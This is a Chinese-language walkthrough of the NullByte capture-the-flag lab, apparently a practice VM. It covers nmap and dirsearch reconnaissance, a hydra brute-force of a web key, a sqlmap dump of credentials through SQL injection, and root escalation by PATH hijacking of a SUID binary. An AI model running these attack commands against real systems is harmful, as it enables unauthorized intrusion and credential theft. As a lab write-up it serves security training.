一、信息收集
1.nmap扫描
arp-scan -l
扫描内网存活主机
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.201/24
-sS 半扫描
-A 扫描详细信息
-p- 扫描全端口
发现开放了80、111、777、50978端口
且发现777端口开放了ssh服务,说明他把默认22端口修改成了777端口
2.web页面
1.打开80端口
翻译一下下面的提示:意思是要找到正确的渗透方式
2.扫描80端口目录
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.201
目录扫描字典字典的话推荐:/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/usr/share/wordlists/dirb/big.txt
扫描得到以下目录:
/uploads
/javascript
/phpmyadmin
显然/uploads
目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径
再看phpmyadmin
,应该就是phpmyadmin的管理界面,打开一看,果不其然:
遇到登录框,首先试试是不是弱口令,这个试过弱口令了,发现试不出来
然后试着查看源代码看看有没有啥提示:
发现80端口下面的源代码有个图片提示。
我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:
┌──(root💀kali)-[~/桌面]
└─# wget http://192.168.103.201/main.gif
先用file
看看这个文件的具体信息,确实就是个gif的图像文件
strings main.gif
strings
命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings
命令对识别随机对象文件很有用
这个kzMb5nVYJw
,有可能是某个密码,所以可以尝试ssh登录、phpmyadmin也可以试试,但是都失败了
kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,所以试试路径
发现,还真的是路径,发现是个要输入key的页面
查看网页源代码
这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了
this form isn't connected to mysql, password ain't that complex
:这个表单没有连接到mysql,密码没有那么复杂
我们试着输入kzMb5nVYJw进去,发现报错了
3.爆破
这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破
解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求
添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank)
-P指定爆破脚本,一般靶机都可选择/usr/share/wordlists/rockyou.txt
这个字典
┌──(root💀kali)-[/usr/share/wordlists]
└─# hydra 192.168.103.201 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt
爆破完毕:key是elite
输入正确的key后,出现下面的这个界面
发现输入,出现了报错,可以看到url存在注入点,说明存在sql注入
注入点http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1
4.sqlmap跑
在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了
┌──(root💀kali)-[/usr/share/wordlists]
└─# sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch
+----+---------------------------------------------+--------+------------+
| id | pass | user | position |
+----+---------------------------------------------+--------+------------+
| 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |
| 2 | --not allowed-- | isis | employee |
+----+---------------------------------------------+--------+------------+
密码,先base64解密,然后再md5解密,
得到密码是:omega
二、提权
1.ssh远程连接
┌──(root💀kali)-[~]
└─# ssh ramses@192.168.103.201 -p 777
密码omega
1.sudo -l提权
没有权限
2.SUID 查看有哪些有root执行权限
ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null
3.查看计划任务
ramses@NullByte:~$ cat /etc/crontab
4.查看历史命令
先进入ramses用户目录下然后
ls -la
发现这个很奇怪,好像在前面那里见过,所以尝试在这里执行一下,发现执行不了,
2.procwatch文件
ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null
后来发现是这里,看见过,这里的是表示root用户可以执行的权限命令
所以,先切换到/var/www/backup目录下
然后./procwatch执行下这个文件
ramses@NullByte:/var/www/backup$ ./procwatch
PID TTY TIME CMD
1785 pts/0 00:00:00 procwatch
1786 pts/0 00:00:00 sh
1787 pts/0 00:00:00 ps
发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是
将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。
首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:
ln -s /bin/sh ps
ls -la
然后我们修改环境变量,将当前目录.追加到环境变量的最开始:
export PATH=.:$PATH
然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了
3.flag
./procwatch
然后我们进入/root目录寻找flag,是proof.txt